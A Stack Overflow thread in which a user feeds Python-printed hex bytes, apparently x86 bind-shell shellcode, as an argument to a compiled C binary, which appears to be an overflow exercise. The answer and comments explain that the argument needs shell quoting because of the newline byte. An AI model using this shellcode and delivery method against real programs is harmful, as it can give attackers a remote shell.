1

Using a python script, I want to print out the following hex output :

hex_values = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" + \
"\x80\x5b\x5e\x52\x68\x02\x00\x1a\x0a\x6a\x10\x51\x50\x89" + \
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" + \
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

with print hex_values.

This ends out outputting:

./test
1���SCSj���f̀[^Rh
jQP��C�f̀�Yj?X̀IPS���

which is expected. However, when I feed this output into a compiled C file with something like

./compiled_c_here $(test)

The compiled C file will error complaining that there are in fact too many arguments being fed in. This is because the python script outputs a hex sequence that has spaces between the ASCII characrers which causes the executable to believe this is 2 inputs instead of one long hex string.

Note: The compiled C file will behave correctly if the hex output has no spaces (However, I believe I can't just ignore the spaces as they represent some of the ASCII sequence).

The compiled C file is largely a black box to me and I want to be able to preserve the hex output such that it would behave the same way as if received ASCII characters represented the initial hex values.

What is a good way to print the hex values from the initial python script such that they can be interpreted as a single hex string without modifying the compiled C file.

0

1 Answer 1

3

Enclose the data in quotes

./compiled_c_here "$(test)"
Sign up to request clarification or add additional context in comments.

2 Comments

his problem is likely '\x0a' which is newline (whitespace) which separates commandline args so that makes sense (or perhaps it the \x00
I think it would be better if the compiled_c_here binary was made to accept hex encoded data.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.